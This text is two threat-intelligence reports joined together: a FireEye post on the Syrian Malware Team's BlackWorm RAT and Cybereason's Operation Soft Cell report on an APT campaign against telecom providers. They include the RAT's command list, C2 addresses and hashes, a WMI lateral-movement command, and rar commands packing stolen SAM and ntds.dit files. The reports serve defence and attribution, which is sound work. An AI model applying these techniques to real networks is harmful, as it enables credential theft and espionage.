http://www.fireeye.com/blog/technical/cyber-exploits/2013/07/syrian-electronic-army-hacks-major-communications-websites.html http://www.forbes.com/sites/andygreenberg/2014/02/20/how-the-syrian-electronic-army-hacked-us-a-detailed-timeline/ http://blogs.computerworld.com/cybercrime-and-hacking/23668/syrian-electronic-army-attacks-centcom-us-central-command-denies-it-was-hacked http://intelcrawler.com/ic-sea.pdf http://en.wikipedia.org/wiki/Syrian_Electronic_Army http://intelcrawler.com/ic-sea.pdf http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria1.png http://blogs.technet.com/b/mmpc/archive/2014/06/30/microsoft-digital-crimes-unit-disrupts-jenxcus-and-bladabindi-malware-families.aspx http://www.fireeye.com/blog/technical/malware-research/2013/08/njw0rm-brother-from-the-same-mother.html http://www.fireeye.com/blog/technical/botnet-activities-research/2012/09/the-story-behind-backdoorlv.html http://www.fireeye.com/blog/technical/threat-intelligence/2013/09/now-you-see-me-h-worm-by-houdini.html About section within the original version of BlackWorm builder Within the underground development forums, its common for threat actors to collaborate on toolsets.
Some write the base tools that other attackers can use others modify and enhance existing tools.
The BlackWorm builder v2.1 is a prime example of actors modifying and enhancing current RATs.
After njq8 and Black Mafia created the original builder, another author, Black.
Hacker, enhanced its feature set.
About section within BlackWorm Dark Edition builder Black.
Hackers banner on social media As an interesting side note, njq8 took down his blog in recent months and announced a cease in all malware development activity on his Twitter and Facebook account, urging others to stop as well.
This is likely a direct result of the lawsuit filed against him by Microsoft.
http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria2.png http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria3.png http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria4.png http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria5.png http://garwarner.blogspot.com/2014/06/microsoft-njrat-and-no-ip.html BlackWorm RAT Features The builder for BlackWorm v0.3.0 is fairly simple and allows for very quick payload, but doesnt allow any configuration other than the IP address for command and control (C2).
Building binary through BlackWorm v0.3.0 BlackWorm v0.3.0 controller BlackWorm v0.3.0 supports the following commands between the controller and the implant: ping Checks if victim is online closeserver Exits the implant restartserver Restarts the implant sendfile Transfer and run file from server download Download and run file from URL ddos Ping flood target msgbox Message interaction with victim down Kill critical windows processes blocker Block specified website by pointing resolution to 127.0.0.1 logoff Logout out of windows restart Restart system shutdown Shutdown system more Disable task manager, registry tools, system restore.
Also blocks keyboard and mouse input hror Displays a startling flash video In addition to the features supported by the command structure, the payload can: http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria6.png http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria7.png Seek and kill no-ip processes DUC30 and DUC20 Disable Task Manager to kill process dialog Copy itself to USB drives and create autorun entries Copy itself to common peer-to-peer (P2P) share locations Collect system information such as OS, username, hostname, presence of camera, active window name, etc.,
to display in the controller Kill the following analysis processes (if found): procexp SbieCtrl SpyTheSpy SpeedGear Wireshark MBAM ApateDNS IPBlocker cPorts ProcessHacker AntiLogger The Syrian Malware Team primarily uses another version of BlackWorm called the Dark Edition (v2.1).
BlackWorm v2.1 was released on a prolific underground forum where information and code is often shared, traded and sold.
BlackWorm v2.1 has the same abilities as the original version and additional functionality, including bypassing UAC, disabling host firewalls and spreading over network shares.
Unlike its predecessor, it also allows for granular control of the features available within the RAT.
These additional controls allow the RAT user to enable and disable features as needed.
Binary output can be also be generated in multiple formats, such as .exe, .src and .dll.
BlackWorm Dark Edition builder http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria8.png http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria9.png Syrian Malware Team We observed activity from the Syrian Malware Team going as far back as Jan. 1, 2011.
Based on Facebook posts, they are allegedly directly or indirectly involved with the Syrian government.
Their Facebook page shows they are still very active, with a post as recent as July 16th, 2014.
Syrian Malware Teams Facebook page The Syrian Malware Team has been involved in everything from profiling targets to orchestrating attacks themselves.
There are seemingly multiple members, including: Partial list of self-proclaimed Syrian Malware Team members Some of these people have posted malware-related items on Facebook.
http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria10.png Facebook posting of virus scanning of files While looking for Dark Edition samples, we discovered a binary named svchost.exe (MD5: 015c51e11e314ff99b1487d92a1ba09b).
We quickly saw indicators that it was created by BlackWorm Dark Edition.
Configuration options within code The malware communicated out to 178.44.115.196, over port 5050, with a command structure of: 0/jn\12121212_64F3BF1F/jn\Hostname/jn\Username/jn\USA/jn\Win 7 Professional SP1 x86/jn\No/jn\2.4.0 [ Dark Edition]/jn\/jn\ActiveWindowName/jn\[endof] When looking at samples of Dark Edition BlackWorm being used by the Syrian Malware Team, the strings Syrian Malware, or Syrian Malware Team are often used in the C2 communications or within the binary strings.
Additional pivoting off of svchost.exe brought us to three additional samples apparently built with BlackWorm Dark Edition.
E.exe, (MD5: a8cf815c3800202d448d035300985dc7) a binary that drew our attention, looked to be a backdoor with the Syrian Malware strings within it.
http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria11.png http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria12.png http://syrianmalware.com/files/Attack.m.exe20-20Report.pdf When executed, the binary beacons to aliallosh.sytes.net on port 1177.
This C2 has been seen in multiple malware runs often associated with Syria.
The command structure of the binary is: 0/jn\Syrian Malware/jn\Hostname/jn\Username/jn\USA/jn\Win 7 Professional SP1 x86/jn\No/jn \0.1/jn\/jn\ActiveWindowName/jn\[endof] Finally, pivoting to another sample, 1gpj.srcRania (MD5:f99c15c62a5d981ffac5fdb611e13095), the same strings were present.
The string Rania used as a lure was in Arabic and likely refers to the prolific Queen Rania of Jordan.
The traffic is nearly identical to the other samples we identified and tied to the Syrian Malware Team.
1/jn\C:\Documents and Settings\Username\Local Settings\Application DataldoDrZdpkK.jpg Windows Internet Explorer[endof]0/jn\Syrian Malware/jn\Hostname/jn\ Username/jn\USA/jn\Win XP ProfessionalSP2 x86/jn\No/jn\0.1/jn\/jn\C:\Documents and Settings\Username\Local Settings\Application DataldoDrZdpkK.jpg  ActiveWindowName/jn\ [endof] Conclusion Determining which groups use which malware is often very difficult.
Connecting the dots between actors and malware typically involves looking at binary code, identifying related malware examples associated with those binaries, and reviewing infection vectors, among other things.
This blog presents a prime example of the process of attribution.
We connected a builder with malware samples and the actors/developers behind these attacks.
This type of attribution is key to creating http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria13.png http://en.wikipedia.org/wiki/Queen_Rania_of_Jordan http://www.fireeye.com/blog/wp-content/uploads/2014/08/syria14.png actionable threat intelligence to help proactively protect organizations.
This entry was posted in Threat Intelligence, Threat Research and tagged advanced threat, syrian cyber threats, Syrian Electronic Army, Syrian Malware Team, threat group by Kyle Wilhoit and Thoufique Haq.
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http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/tag/advanced-threat http://www.fireeye.com/blog/tag/syrian-cyber-threats http://www.fireeye.com/blog/tag/syrian-electronic-army http://www.fireeye.com/blog/tag/syrian-malware-team http://www.fireeye.com/blog/tag/threat-group http://www.fireeye.com/blog/author/kyle-wilhoit http://www.fireeye.com/blog/author/thoufique-haq http://www.fireeye.com/blog/technical/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html
Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers Research by: Mor Levi, Assaf Dahan, and Amit Serper EXECUTIVE SUMMARY In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10.
This multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network.
https://youtu.be/Ihpn2-4jTvc 1/27 https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers https://youtu.be/Ihpn2-4jTvc https://attack.mitre.org/groups/G0045/ https://cta-redirect.hubspot.com/cta/redirect/3354902/b8c52a69-616b-4d3f-88ac-6dd5c3e19302 Key Points Earlier this year, Cybereason identified an advanced, persistent attack targeting telecommunications providers that has been underway for years, soon after deploying into the environment.
Cybereason spotted the attack and later supported the telecommunications provider through four more waves of the advanced persistent attack over the course of 6 months.
Based on the data available to us, Operation Soft Cell has been active since at least 2012, though some evidence suggests even earlier activity by the threat actor against telecommunications providers.
The attack was aiming to obtain CDR records of a large telecommunications provider.
The threat actor was attempting to steal all data stored in the active directory, compromising every single username and password in the organization, along with other personally identifiable information, billing data, call detail records, credentials, email servers, geo-location of users, and more.
The tools and TTPs used are commonly associated with Chinese threat actors During the persistent attack, the attackers worked in waves- abandoning one thread 2/27 of attack when it was detected and stopped, only to return months later with new tools and techniques.
Security Recommendations Add an additional security layer for web servers.
For example, use WAF (Web Application FW) to prevent trivial attacks on Internet-facing web servers.
Expose as few systems or ports to the Internet as possible.
Make sure that all web servers and web services that are exposed are patched.
Use an EDR tool to give visibility and immediate response capabilities when high severity incidents are detected.
Proactively hunt in your environment for sensitive assets periodically.
Table of Contents INTRODUCTION Watch our CEO Lior Divs keynote on the operation.
In 2018, 30 of the telecommunications providers reported sensitive customer information was stolen due to an attack.
These telecommunications providers have been expanding in size, to the point where In the past thirteen years, mobile cellular phone subscribers have quadrupled in size and sit at 8 billion subscribers today .
Due to their wide availability and the fundamental service they bring, telecommunications providers have become critical infrastructure for the majority of world powers.
Much like telecommunication providers, many other critical infrastructure organizations provide a valuable targets for nation state threat actors, due to their high impact.
In studies, nearly a quarter of critical infrastructure organizations reported they had been hit by nation state attacks and 60 said disruptive cyber attacks are among the threats they are most worried about.
Threat actors, especially those at the level of nation state, are seeking opportunities to attack these organizations, conducting elaborate, advanced operations to gain leverage, seize strategic assets, and collect information .
When successful, these attacks often have huge implications.
Last year, we identified a threat actor that has been operating in telecommunications provider environments for at least two years.
We performed a post-incident review of the attacks and were able to identify changes in the attack patterns along with new activity every quarter.
3/27 https://www.fiercetelecom.com/telecom/report-telecommunications-industry-woefully-unprepared-for-cyber-attacks https://www.itu.int/en/ITU-D/Statistics/Pages/stat/default.aspx https://www.forbes.com/sites/samcurry/2019/04/16/cyber-sights-on-critical-infrastructure/3649ad487729 https://static.tenable.com/marketing/research-reports/PonemonReport-Cybersecurity_in_Operational_Technology.pdf https://www.reuters.com/article/us-netherlands-kpn/dutch-emergency-services-hit-by-major-telecoms-outage-idUSKCN1TP1V8 https://www.wsj.com/articles/u-s-navy-is-struggling-to-fend-off-chinese-hackers-officials-say-11544783401 https://www.cybereason.com/resources/post-incident-review The threat actor mainly sought to obtain CDR data (call logs, cell tower locations, etc.)
belonging to specific individuals from various countries.
This type of targeted cyber espionage is usually the work of nation state threat actors.
Weve concluded with a high level of certainty that the threat actor is affiliated with China and is likely state sponsored.
The tools and techniques used throughout these attacks are consistent with several Chinese threat actors, such as APT10, a threat actor believed to operate on behalf of the Chinese Ministry of State Security (MSS).
The threat actor changed activity every quarter.
The attack began with a web shell running on a vulnerable, publicly-facing server, from which the attackers gathered information about the network and propagated across the network.
The threat actor attempted to compromise critical assets, such as database servers, billing servers, and the active directory.
As malicious activity was detected and remediated against, the threat actor stopped the attack.
The second wave of the attack hit several months later with similar infiltration attempts, along with a modified version of the web shell and reconnaissance activities.
A game of cat and mouse between the threat actor and the defenders began, as they ceased and resumed their attack 2 more times in the span of a 4 month period.
Anatomy of the Attack 4/27 https://attack.mitre.org/groups/G0045/ https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion Initial Compromise: the Modified China Chopper Web Shell The initial indicator of the attack was a malicious web shell that was detected on an IIS server, coming out of the w3wp.exe process.
An investigation of the web shell, later classified as a modified version of the China Chopper web shell, uncovered several attack phases and TTPs.
The threat actor was able to leverage the web shell to run reconnaissance commands, steal credentials, and deploy other tools.
Malicious web shell activity as observed in the Cybereason solution.
Commands executed via a modified version of the China Chopper web shell.
China Chopper is a web shell first discovered in 2012 that is commonly used by malicious Chinese actors.
It is used to remotely control web servers, and has been used in many attacks against Australian web hosting providers.
The web shell parameters in this attack match to the China Chopper parameters, as described in FireEyes analysis of China Chopper.
This tool has been used by several Chinese-affiliated threat actors, such as APT 27 and APT 40.
It is important to note that this tool is widely available and can be used by other threat actors.
5/27 https://attack.mitre.org/software/S0020/ https://www.cyber.nj.gov/threat-profiles/trojan-variants/china-chopper https://www.zdnet.com/article/australian-web-hosts-hit-with-a-manic-menagerie-of-malware/ https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html Reconnaissance and Credential Stealing The threat actor launched a series of reconnaissance commands to try to obtain and enumerate information about the compromised machine, network architecture, users, and active directory enumeration.
Example 1: Reconnaissance Commands Example 2: Reconnaissance Commands Modified nbtscan One of the reconnaissance commands was to run a modified nbtscan tool (NetBIOS nameserver scanner) to identify available NetBIOS name servers locally or over the network.
Nbtscan has been used by APT10 in Operation Cloud Hopper to search for services of interest across the IT estate and footprint endpoints of interest.
It is also capable of identifying system information.
6/27 http://www.unixwiz.net/tools/nbtscan.html http://www.unixwiz.net/tools/nbtscan.html http://www.unixwiz.net/tools/nbtscan.html https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf NetBIOS Scanner execution as seen in the Cybereason solution.
NetBIOS scanner is set to scan an internal IP range.
Modified Mimikatz Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines.
The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes.
This version of mimikatz did not require any command line arguments, most likely in an attempt to avoid detection based on command-line auditing.
The dumped hashes were used to authenticate to other machines via pass the hash.
We renamed this sample to maybemimi.exe.
7/27 https://attack.mitre.org/software/S0002/ Modified Mimikatz that dumps NTLM hashes.
Reverse engineering shows the similarity between maybemimi.exe and mimikatz.
Mimikatz code from GitHub.
maybemimi strings.
Dumping the SAM Hive from the Registry 8/27 https://github.com/gentilkiwi/mimikatz In order to obtain credentials, the threat actor used another technique that can be seen in the below screenshots.
They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes.
Reg.exe is being spawned from a shell process.
Command-line arguments indicate SAM hive dumping.
Lateral Movement Once the threat actor mapped the network and obtained credentials (through net use), they began to move laterally.
They were able to compromise critical assets including production servers and database servers, and they even managed to gain full control of the Domain Controller.
The threat actor relied on WMI and PsExec to move laterally and install their tools across multiple assets.
The following example demonstrates how the threat actor moved laterally from the first machine, compromised by the modified version of the China Chopper web shell, to other machines inside the network.
9/27 https://docs.microsoft.com/en-us/windows/desktop/sysinfo/registry-hives https://docs.microsoft.com/en-us/windows/desktop/sysinfo/registry-hives https://attack.mitre.org/techniques/T1047/ https://attack.mitre.org/software/S0029/ https://attack.mitre.org/software/S0020/ /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\wmic /node:[REDACTED] /user:[REDACTED] /password:[REDACTED] process call create a.batecho [S]cdecho [E] WMI command used by the threat actor to move laterally.
Maintaining a Long-term Foothold and Stealing Data The threat actor abused the stolen credentials to create rogue, high-privileged domain user accounts which they then used to take malicious action.
By creating these accounts, they ensured they would maintain access between different waves of the attack.
Once the threat actor regains their foothold, they already have access to a high-privileged domain user account.
This significantly reduces the noise of having to use credential dumpers repeatedly, which helped them evade detection.
PoisonIvy A second method the threat actor used to maintain access across the compromised assets was through the deployment of the PoisonIvy RAT (PIVY).
This infamous RAT has been associated with many different Chinese threat actors, including APT10, APT1, and DragonOK.
It is a powerful, multi-featured RAT that lets a threat actor take total control over a machine.
Among its most notable features are: Registry Editor Screenshot Grabber Credential Stealer Interactive Shell File Manager with Upload and Download Support Process Monitor Keylogging and Various other Surveillance Features 10/27 https://attack.mitre.org/software/S0012/ https://attack.mitre.org/groups/G0006/ https://attack.mitre.org/groups/G0017/ The control panel for PoisonIvy.
Courtesy of Sam Bowne - samsclass.info We assume the threat actor used PoisonIvy for keylogging and other surveillance features, as they had that functionality available to them as shown in the screenshot above.
The strain of PIVY in this attack used a DLL side-loading technique to stealthily load itself into memory.
To accomplish this, it exploited a trusted and signed application.
The PIVY payload was dropped along with the trusted and signed Samsung tool (RunHelp.exe) in the following manner: 1.
A nullsoft installer package (NSIS) was created with a legitimate, signed Samsung tool in it.
2.
Once executed, the installer script within the NSIS package extracted the Samsung tool and added a fake DLL with the same name as a legitimate DLL (ssMUIDLL.dll), which is required by the application.
3.
The DLL contains a PIVY stager, which is then loaded by the Samsung tool.
4.
After the fake DLL was loaded by the Samsung tool, it decrypted a blob payload in the same folder, which contains the actual PIVY payload.
5.
It was able to achieve persistence by creating a rogue scheduled task.
11/27 https://samsclass.info/ https://attack.mitre.org/techniques/T1073/ https://nsis.sourceforge.io/Main_Page Post-persistence execution of PIVY, side-loaded into a legitimate Samsung application.
PIVYs use of DLL side-loading to abuse Samsung tools is not new, and has been reported previously by Palo Alto.
In 2016 it was used to attack pro-democratic activists in Hong Kong, most probably by Chinese threat actors.
Note: Our team has reached out to and advised the targeted organizations on active containment actions.
Secondary Web Shells In later stages of the attack, the threat actor deployed two other custom-built web shells.
From these web shells, they launched reconnaissance commands, stole data, and dropped additional tools including portqry.exe, renamed cmd.exe, winrar, and the notorious hTran.
Reconnaissance and lateral movement commands launched from the secondary web shell.
Data Exfiltration The threat actor exfiltrated stolen data using multiple different channels including web shells and hTran.
Compressing the Stolen Data 12/27 https://unit42.paloaltonetworks.com/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/ https://support.microsoft.com/en-za/help/310099/description-of-the-portqry-exe-command-line-utility https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd https://attack.mitre.org/techniques/T1002/ https://attack.mitre.org/software/S0040/ In an attempt to hide the contents of the stolen data, the threat actor used winrar to compress and password-protect it.
The winrar binaries and compressed data were found mostly in the Recycle Bin folder, a TTP that was previously observed in APT10-related attacks, as well as others.
This threat actor is known to stage the data in multi-part archives before exfiltration.
The threat actor used the following commands to compress the data.
rar.exe a -k -r -s -m1 -[password] [REDACTED].rar [REDACTED].temp rar.exe a -k -r -s -m1 -[password] [REDACTED].rar [REDACTED].csv rar a -r -[password] [REDACTED].rar sam system ntds.dit Compressed stolen data exfiltrated via web shell.
The contents of the compressed data was crucial in understanding the threat actors motivation for the attack, as well as what type of information they were after.
hTran In order to exfiltrate data from a network segment not connected to the Internet, the threat actor deployed a modified version of hTran.
This connection bouncer tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic.
There have been numerous reports of hTran being used by different Chinese threat actors, including: APT3, APT27 and DragonOK.
The threat actor made some modifications to the original source code of hTran.
Many strings, including the debug messages, were intentionally changed and obfuscated in an attempt to evade detection and thwart efforts to identify the malware by antivirus and researchers.
13/27 https://www.rarlab.com/download.htm https://attack.mitre.org/techniques/T1074/ https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf https://attack.mitre.org/software/S0040/ https://github.com/HiwinCN/HTran https://attack.mitre.org/groups/G0022/ https://attack.mitre.org/groups/G0027/ https://github.com/HiwinCN/HTran Obfuscated debug messages.
Since the original source code for hTran is publicly available, we were able to compare the debug output to the original source code to show that it has indeed been modified.
Identifying modifications in a disassembly of the modified hTran.
14/27 printf is being called (dubbed by us as looks_like_printf) with output C e.. By looking at the original source code, we were able to identify that this is supposed to be Connect error.
A section of the source code for hTran.
Understanding the Motive When you think of large breaches to big organizations, the first thing that comes to mind is usually payment data.
An organization that provides services to a large customer base has a lot of credit card data, bank account information, and more personal data on its systems.
These attacks are usually conducted by a cybercrime group looking to make money.
In contrast, when a nation state threat actor is attacking a big organization, the end goal is typically not financial, but rather intellectual property or sensitive information about their clients.
One of the most valuable pieces of data that telecommunications providers hold is Call Detail Records (CDRs).
CDRs are a large subset of metadata that contains all details about calls, including: Source, Destination, and Duration of a Call Device Details Physical Location Device Vendor and Version For a nation state threat actor, obtaining access to this data gives them intimate knowledge of any individuals they wish to target on that network.
It lets them answer questions like: Who are the individuals talking to?
Which devices are the individuals using?
Where are the individuals traveling?
Having this information becomes particularly valuable when nation-state threat actors are targeting foreign intelligence agents, politicians, opposition candidates in an election, or even law enforcement.
15/27 Example 1: CDR Data 16/27 Example 2: CDR Data Example 3: CDR Data Beyond targeting individual users, this attack is also alarming because of the threat posed by the control of a telecommunications provider.
Telecommunications has become critical infrastructure for the majority of world powers.
A threat actor with total access to a telecommunications provider, as is the case here, can attack however they want passively and also actively work to sabotage the network.
This attack has widespread implications, not just for individuals, but also for organizations and countries alike.
The use of specific tools and the choice to hide ongoing operations for years points to a nation state threat actor, most likely China.
This is another form of cyber warfare being used to establish a foothold and gather information undercover until they are ready to strike.
Want to learn about post-incident review?
Threat Intel Research The following sections detail the methodology and work process used to piece together the various stages and components of the attack.
This work enabled us to not only reconstruct these attacks, but also to find additional artifacts and information regarding the threat actor and its operations.
17/27 Methodology Step 1: Creating and Maintaining an IOC Inventory The first step in this process was to create a comprehensive list of indicators of compromise (IOCs) observed throughout the different stages of the attack.
This list included various indicators, such as file hashes, domains, IP addresses, file names, and registry/service names.
In addition to this, our reverse engineers were able to extract further IOCs from the collected samples, which have also been added to the list.
The list of IOCs was periodically updated and fed back into our threat intel engine as more were discovered.
Step 2: Hunting for Known Evil Equipped with an ever-growing list of known IOCs, our team set out to hunt for low-hanging fruit across multiple environments.
This step was done by using both internal sources, such as the Cybereason solution, as well as hunting for indicators in the wild.
The hunt for known evil yielded interesting results that helped uncover additional compromised assets as well as more parts of the attack infrastructure.
Step 3: Threat Actors Arsenal Perhaps one of the most interesting steps involved identifying and analyzing the tools the threat actor used throughout the attack.
The combination of the preference of tools, sequence of use, and specifically how they are used during the attack says a lot about a threat actor, especially when it comes to attribution.
One of the more notable aspects was how the threat actor used mostly known tools that were customized for this specific attack.
Each tool was customized differently, and included re-writing the code, stripping debug symbols, string obfuscation, and embedding the victims specific information within the tools configuration.
However, the threat actor also used tools we were not able to attribute to any known tool.
These tools were used in the later stages of the attack, once the operation was already discovered.
This was most likely to decrease the risk of exposure or attribution.
Finally, the payloads were almost never repeated.
The threat actor made sure that each payload had a unique hash, and some payloads were packed using different types of packers, both known and custom.
The main tools these attacks had in common are: 18/27 1.
Web Shells A modified version of the China Chopper web shell was used for initial compromise.
Custom-built web shells were used for later phases of the attack.
2.
Reconnaissance Tools A modified version of Nbtscan was used to identify available NetBIOS name servers locally or over the network.
Multiple Windows built-in tools were used for various tasks, including whoami, net.exe, ipconfig, netstat, portqry, and more.
WMI and PowerShell commands were used for various tasks.
3.
RAT PoisonIvy was used to maintain access across the compromised assets.
PlugX was used in some of the instances that were aware of.
4.
Credential Dumpers A modified version of Mimikatz was used to dump credentials stored on the compromised machines.
A PowerShell-based Mimikatz was also used to dump credentials stored on the compromised machines.
5.
Lateral movement WMI was used for lateral movement.
PsExec was also used for lateral movement.
6.
Connection Proxy A modified version of hTran was used to exfiltrate stolen data.
7.
Compression tool Winrar was used to compress and password-protect stolen data.
Step 4: Creating a TTP-based Behavioral Profile One of the key components of threat hunting is to create a TTP-based behavioral profile of the threat actor in question.
Malware payloads and operational infrastructure can be quickly changed or replaced over time, and as such, the task of tracking a threat actor can become quite difficult.
For that reason, it is crucial to profile the threat actor and study its behavior, the tools it uses, and its techniques.
These behavioral-based TTPs are less likely to change drastically, and are\ key factors of any threat hunt or attribution efforts.
The Cybereason solution is compatible with the MITRE ATTCK framework , which made it easy to keep track of the observed TTPs and correlate the data with known threat actors.
The following chart reflects the behavioral profile of the threat actor based on the most frequently observed techniques used throughout these attacks.
19/27 https://attack.mitre.org/software/S0020/ http://www.unixwiz.net/tools/nbtscan.html https://attack.mitre.org/software/S0039/ https://attack.mitre.org/software/S0100/ https://attack.mitre.org/software/S0104/ https://support.microsoft.com/en-za/help/310099/description-of-the-portqry-exe-command-line-utility https://attack.mitre.org/techniques/T1047/ https://attack.mitre.org/techniques/T1086/ https://attack.mitre.org/software/S0012/ https://attack.mitre.org/software/S0013/ https://attack.mitre.org/software/S0002/ https://attack.mitre.org/techniques/T1047/ https://attack.mitre.org/software/S0029/ https://attack.mitre.org/software/S0040/ https://www.rarlab.com/download.htm https://www.cybereason.com/blog/how-to-generate-a-hypothesis-for-a-threat-hunt-techniques https://attack.mitre.org/techniques/enterprise/ https://www.cybereason.com/blog/mitre-attck-evaluation-results MITRE ATTCK Techniques Breakdown Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Exploit Public- Facing Application Command-line interface Web Shell Valid Accounts DLL-side Loading Credential Dumping Windows Management Instrumentation Create Account Web Shell Indicator Removal from Tools PowerShell   Obfuscated Files or Information Masquerading Discovery Lateral Movement Collection Command and Control Exfiltration Impact System Network Configuration Discovery Data From Local System Remote File Copy Data Compressed Remote System Discovery Pass the Hash Data Staged Connection Proxy Exfiltration Over Command and Control Channel Account Discovery Remote File Copy Input Capture Permission Groups Discovery Step 5: Mapping out the Infrastructure and Operational Activity Reconstructing the Infrastructure In order to make sense of all the data, we fed it into multiple threat intelligence sources, including our own and third parties.
Note: Since we cannot share any IOCs, we will refer to file hashes, hostnames, IP addresses and other IOCs as generic placeholders.
20/27 https://attack.mitre.org/techniques/T1190/ https://attack.mitre.org/techniques/T1059/ https://attack.mitre.org/techniques/T1100/ https://attack.mitre.org/techniques/T1078/ https://attack.mitre.org/techniques/T1073/ https://attack.mitre.org/techniques/T1003/ https://attack.mitre.org/techniques/T1047/ https://attack.mitre.org/techniques/T1136/ https://attack.mitre.org/techniques/T1100/ https://attack.mitre.org/techniques/T1066/ https://attack.mitre.org/techniques/T1086/ https://attack.mitre.org/techniques/T1027/ https://attack.mitre.org/techniques/T1036/ https://attack.mitre.org/techniques/T1016/ https://attack.mitre.org/techniques/T1005/ https://attack.mitre.org/techniques/T1105/ https://attack.mitre.org/techniques/T1002/ https://attack.mitre.org/techniques/T1018/ https://attack.mitre.org/techniques/T1075/ https://attack.mitre.org/techniques/T1074/ https://attack.mitre.org/techniques/T1090/ https://attack.mitre.org/techniques/T1041/ https://attack.mitre.org/techniques/T1087/ https://attack.mitre.org/techniques/T1105/ https://attack.mitre.org/techniques/T1056/ https://attack.mitre.org/techniques/T1069/ Hostname1 is the hostname that was used for the C2 server targeting the telecommunications providers.
Hostname1 connected to multiple tools.
In analyzing the files, it is clear they are all contacting the same host hostname1.
hostname1 was the C2 server that the malware and web shells connected to.
Once we determined the hashes in the scope of the attack were only connecting to hostname1, which is a dynamic DNS hostname, we looked to see if we could find more information about the C2 server.
A simple WHOIS query revealed that the IP address was registered to a colocation hosting company in Asia, though there was no other publicly available information about this IP address.
By querying all of our threat intel resources about this IP address, we discovered that it was associated with multiple dynamic DNS hostnames.
21/27 Multiple dynamic DNS hostnames.
We were unable to find indications of connections to Dynamic.
DNS2 and Dynamic.
DNS3.
However, they were registered and associated with IP.Address1.
For the other dynamic DNS hosts, we leveraged various threat intel repositories and crafted queries that searched for executables with these IP addresses and hostnames in their string table.
One of the queries returned a few DLLs with identical names to the DLL we had initially investigated.
However, the hashes were different.
After obtaining the found DLLs, we patched them back into the NSIS installer and detonated the samples in our testing environment.
Dynamic analysis of the newly obtained DLLs revealed a new set of domains and IP addresses that were completely different.
These domains were actually related to different telecommunications providers.
Note: Cybereason immediately reached out to those telecommunications providers and provided them all of the necessary information to handle the incident internally.
22/27 Strings from the dumped memory section of the injected shellcode.
We can see many details about the attack including domains and C2 server IP addresses.
Shellcode being unpacked and injected into a remote process.
The redacted segments contain the name of the customer, C2 IP addresses, and domains.
Infrastructure Operational Security 23/27 24/27 The threat actors infrastructure.
The threat actor had a specific pattern of behavior that allowed us to understand their modus operandi: they used one server with the same IP address for multiple operations.
This server is a key component in their non-attributable infrastructure.
The threat actor separated operations by using different hostnames per operation, though they are hosted on the same server and IP address.
The domains and server registration information pointed to three main countries: China, Hong Kong, and Taiwan.
This is cheap and efficient for the threat actor, but is almost transparent for a seasoned researcher with access to the right threat intelligence tools.
There are previous reports of threat actors including APT10 and APT1 using dynamic DNS.
Monitoring this infrastructure gave us information about if and when the threat actor was starting new waves of the attack or additional attacks on other providers.
When researching C2 servers, it is important to watch for: Association with domains, especially if they are dynamic DNS domains.
File hashes that are associated with the IP address or the domain of the C2 server.
Static information and metadata from associated samples that could be used to broaden the search after additional information is gathered.
This demonstrates the importance of proper operational security and a separation between tools and operations for threat actors.
Step 6: Rounding Up Immediate/Potential Suspects Attribution is a fickle and delicate art.
In most cases, it is very difficult to achieve 100 certainty when attributing an attack to a specific threat actor.
It can be tempting to attribute an attack to a certain threat actor whenever certain tools-of-the-trade, IP addresses, strings, or indicative techniques are observed.
However, it is important to bear in mind that the aforementioned data points are often prone to manipulation and reuse across different threat actors.
Further, they are not impervious to psychological warfare, as in, trying to pin an operation on a different threat actor to avoid proper attribution.
In order to increase the certainty level when attributing to a specific threat actor, we took the following aspects of the attacks into consideration: Indicators of Compromise TTPs (Tactics, Techniques and Procedures) 25/27 https://www.forbes.com/sites/samcurry/2019/04/23/attribution-know-thy-place-blurred-cyber-lines/ Threat actors tools Motive behind the attacks Regional and industry considerations Carefully examining each of the different aspects plays an important role in avoiding misattribution.
This model offers a more balanced interpretation of the data that is based on a myriad of components.
By performing a contextualized review of the data, you are able to yield a more wholesome result with greater certainty.
When it comes to attributing Operation Soft Cell, we are unable to achieve 100 certainty with regard to the identity of the threat actor.
However, based on our interpretation of the data, we conclude with a high level of certainty that: The threat actor behind Operation Soft Cell is likely state-sponsored.
The threat actor is affiliated with China.
After following the above attribution model and carefully reviewing the data, we are able to narrow down the suspect list to three known APT groups, all of which are known to be linked to China- APT10, APT27, and DragonOK.
Having found multiple similarities to previous attacks, it is our estimation that the threat actor behind these attacks is likely linked to APT10, or at the very least, to a threat actor that shares tools, techniques, motive and infrastructural preferences with those of APT10.
